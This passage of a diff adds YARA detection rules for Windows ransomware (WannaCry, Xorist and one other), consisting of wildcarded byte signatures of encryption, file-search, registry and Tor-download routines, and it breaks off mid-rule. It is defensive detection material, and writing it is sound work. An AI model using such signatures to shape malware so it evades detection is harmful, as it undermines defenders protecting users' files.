+            E8 ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85
+            C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 3B 85 ?? ?? ?? ?? 74 ?? 89 04 24
+            E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 39 85 ?? ?? ?? ?? 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0
+            75 ?? EB
+        }
+		$find_files_p1 = {
+            55 89 E5 81 EC ?? ?? ?? ?? 8D 55 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 89 55 ?? 8D 55 ?? 89 65 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ??
+            8B 4D ?? 83 C0 ?? 8B 51 ?? 89 45 ?? 8D 45 ?? 89 45 ?? 8B 45 ?? 89 55 ?? 8B 00 89 C1
+            89 45 ?? 01 D1 74 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 45 ?? 83 F8 ?? 89 45 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B
+            45 ?? 8D 55 ?? 0F B6 00 88 45 ?? B8 ?? ?? ?? ?? 89 45 ?? C6 04 02 ?? B8 ?? ?? ?? ??
+            2B 45 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89
+            04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 83 EC ?? 89 81 ?? ?? ??
+            ?? 8D 4D ?? 39 CA 74 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? 83 F8
+        }
+		$find_files_p2 = {
+            8B 45 ?? 0F 95 00 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? C9 C2 ?? ?? 8D 76 ?? 8D 45 ?? 8B
+            4D ?? 89 4C 24 ?? 8B 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? E9
+            ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 89 45 ?? 89 55 ?? EB ?? C7 04 24 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 85 C0 74 ?? 83 E8
+            ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
+            24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 66 90 55 89 E5 57 56 8D 45 ?? 53 83 EC ??
+            89 45 ?? 8D 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 89 65 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D ?? C6 45 ?? ?? 8B 83 ?? ?? ??
+            ?? 83 F8 ?? 74 ?? 8D 53 ?? 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 EC ?? 85 C0 0F 95 45 ?? 0F B6 45 ?? 8B 75 ?? 88 06 8B 45 ?? 89 04 24 E8 ?? ?? ??
+            ?? 0F B6 45 ?? 8D 65 ?? 5B 5E 5F 5D C3
+        }
+		$enum_resources_p1 = {
+            55 B8 ?? ?? ?? ?? 89 E5 E8 ?? ?? ?? ?? 29 C4 8D 45 ?? 89 8D ?? ?? ?? ?? 89 A5 ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C9 C2 ?? ??
+            8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44
+            24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 75 ?? EB
+            ?? 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 85 ?? ?? ?? ?? 83 85 ?? ??
+            ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 83
+        }
+		$enum_resources_p2 = {
+            8B 85 ?? ?? ?? ?? F6 40 ?? ?? 74 ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 85 D2 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ??
+            ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 48 ?? 3B 48 ?? 0F 84 ?? ?? ??
+            ?? 85 C9 74 ?? 8D 41 ?? 8B 95 ?? ?? ?? ?? 89 01 8B 85 ?? ?? ?? ?? 01 C2 89 04 24 89
+            54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B
+            48 ?? 8B 85 ?? ?? ?? ?? 83 C1 ?? 89 48 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 39 C8
+            0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 84 ?? ??
+            ?? ?? 89 04 24 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC
+            ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 8D ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? EB
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Wannacry : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects WannaCry ransomware."
+		author = "ReversingLabs"
+		id = "61734d47-2525-5e3a-94b4-60493dfe2b93"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.WannaCry.yara#L3-L135"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fed58b533a9f7c3eb1b3e4f8fbe1f519aab94d1c066ae6937c21876693be0eac"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "WannaCry"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$main_1 = {
+            A0 ?? ?? ?? ?? 56 57 6A ?? 88 85 ?? ?? ?? ?? 59 33 C0 8D BD ?? ?? ?? ?? F3 AB 66 AB
+            AA 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88
+            18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85
+            C0 74 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D
+        }
+		$main_2 = {
+            68 ?? ?? ?? ?? 33 DB 50 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 15
+            ?? ?? ?? ?? 83 38 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 00 FF 70 ?? E8 ?? ??
+            ?? ?? 59 85 C0 59 75 ?? 53 E8 ?? ?? ?? ?? 85 C0 59 74 ?? BE ?? ?? ?? ?? 53 8D 85 ??
+            ?? ?? ?? 56 50 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0
+            59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            53 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 68 ?? ?? ?? ?? E8
+        }
+		$main_3 = {
+            83 EC ?? 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7C 24 ?? 33 C0 F3 A5 A4 89 44 24 ??
+            89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 50 50 50 6A ?? 50 88
+            44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 8B F0 6A ?? 51 56
+            FF 15 ?? ?? ?? ?? 8B F8 56 8B 35 ?? ?? ?? ?? 85 FF 75 ?? FF D6 6A ?? FF D6 E8
+        }
+		$start_service_3 = {
+            83 EC ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
+            38 ?? 7D ?? E8 ?? ?? ?? ?? 83 C4 ?? C3 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ??
+            ?? 8B F8 85 FF 74 ?? 53 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D
+            ?? ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E
+            5B 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 83 C4 ?? C3
+        }
+		$main_4 = {
+            83 EC ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 53 56 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 ??
+            6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E 5B 8D 44 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 33 C0 5F 83 C4 ?? C2
+        }
+		$main_5 = {
+            68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
+            FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D
+            8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 3B C3 74 ?? FF 75 ?? 50 E8
+            ?? ?? ?? ?? 59 3B C3 59 74 ?? 68 ?? ?? ?? ?? 50 E8
+        }
+		$main_6 = {
+            FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? C2
+        }
+		$set_reg_key_6 = {
+            68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8B 2D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 FF 89 7C 24 ?? 85 FF 75 ?? 8D 4C
+            24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? ?? EB ?? 8D 44 24 ?? 8D 4C 24 ?? 50 51 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 85
+            C9 74 ?? 8D 94 24 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF D5 8D BC 24 ?? ?? ?? ?? 83 C9 ??
+            33 C0 F2 AE F7 D1 8D 84 24 ?? ?? ?? ?? 51 8B 4C 24 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
+            51 FF D3 8B 7C 24 ?? 8B F0 F7 DE 1B F6 46 EB ?? 8D 54 24 ?? 8D 8C 24 ?? ?? ?? ?? 52
+            51 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15
+        }
+		$download_tor_6 = {
+            81 EC ?? ?? ?? ?? 53 55 56 57 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A0 ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 88 44 24 ?? 33 C0 8D 7C 24 ?? 8B 35 ?? ?? ?? ?? F3 AB 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 66 AB 68 ?? ?? ?? ?? 8D 4C 24 ?? 33 ED 68 ?? ?? ?? ?? 51 89 2D ?? ??
+            ?? ?? 89 2D ?? ?? ?? ?? AA FF D6 8B 1D ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 FF D3 83
+            F8 ?? 0F 85 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84
+            C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 A0 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 84 24 ??
+            ?? ?? ?? 33 C0 8D BC 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 AB 66 AB 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 AA FF D6 83 C4 ?? 8D 94 24 ?? ?? ??
+            ?? 52 FF D3 83 F8 ?? 75 ?? 5F 5E 5D 32 C0 5B 81 C4 ?? ?? ?? ?? C3
+        }
+		$main_7 = {
+            68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
+            FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D
+            8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 53 8F 45 ?? E8 ?? ?? ?? ?? 39 44 24 ?? 74 ?? 89 44
+            24 ?? 83 EC ?? 2B C3 58 74 ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 59 89 44 24 ?? 83 EC ?? 2B
+            C3 58 59 74 ?? 68 ?? ?? ?? ?? 50 E8
+        }
+		$main_8 = {
+            68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ??
+            ?? 8D 4C 24 ?? 6A ?? 51 FF D6 83 C4 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 FF D6 83 C4
+            ?? C6 00 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F
+            5E 85 C0 74 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 50 E8
+        }
+		$entrypoint_all = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ??
+            ?? 83 EC ?? 53 56 57 89 65 ?? 33 DB 89 5D ?? 6A ?? FF 15 ?? ?? ?? ?? 59 83 0D ?? ??
+            ?? ?? ?? 83 0D ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 08 FF 15 ?? ??
+            ?? ?? 8B 0D ?? ?? ?? ?? 89 08 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 39
+            1D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 35 ?? ?? ??
+            ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($entrypoint_all at pe.entry_point) and ($main_1 or $main_2 or ($main_3 and $start_service_3) or $main_4 or $main_5 or ($main_6 and ($set_reg_key_6 or $download_tor_6)) or $main_7 or $main_8)
+}
+rule REVERSINGLABS_Win32_Ransomware_Xorist : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Xorist ransomware."
+		author = "ReversingLabs"
+		id = "804ae039-fc3b-5f19-860e-df9efe87ee4d"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Xorist.yara#L1-L150"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c428838cdd103f62508a23c9333b08567625291e110aa437324ecf37c62dca36"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Xorist"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_and_encrypt_v1_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F
+            84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C ?? 75 ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80
+        }
+		$search_and_encrypt_v1_p2 = {
+            3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ??
+            E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? EB ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF
+        }
+		$search_and_encrypt_v1_p3 = {
+            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
+            ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9
+            ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 D0 C2 AA E2 ?? A1 ?? ?? ?? ?? 80
+            3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ??
+            ?? EB ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ??
+            ?? ?? C9 C3
+        }
+		$extract_rsrc_v1 = {
+            55 8B EC 83 C4 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 0F 31 5F 59 25 ?? ?? ?? ?? C1
+            E8 ?? 83 C0 ?? AA E2 ?? 33 C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 50 6A ?? E8 ??
+            ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3
+            89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 6A ?? 6A
+            ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 53 FF 75 ?? E8 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ??
+            C9 C3
+        }
+		$search_and_encrypt_v2_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F
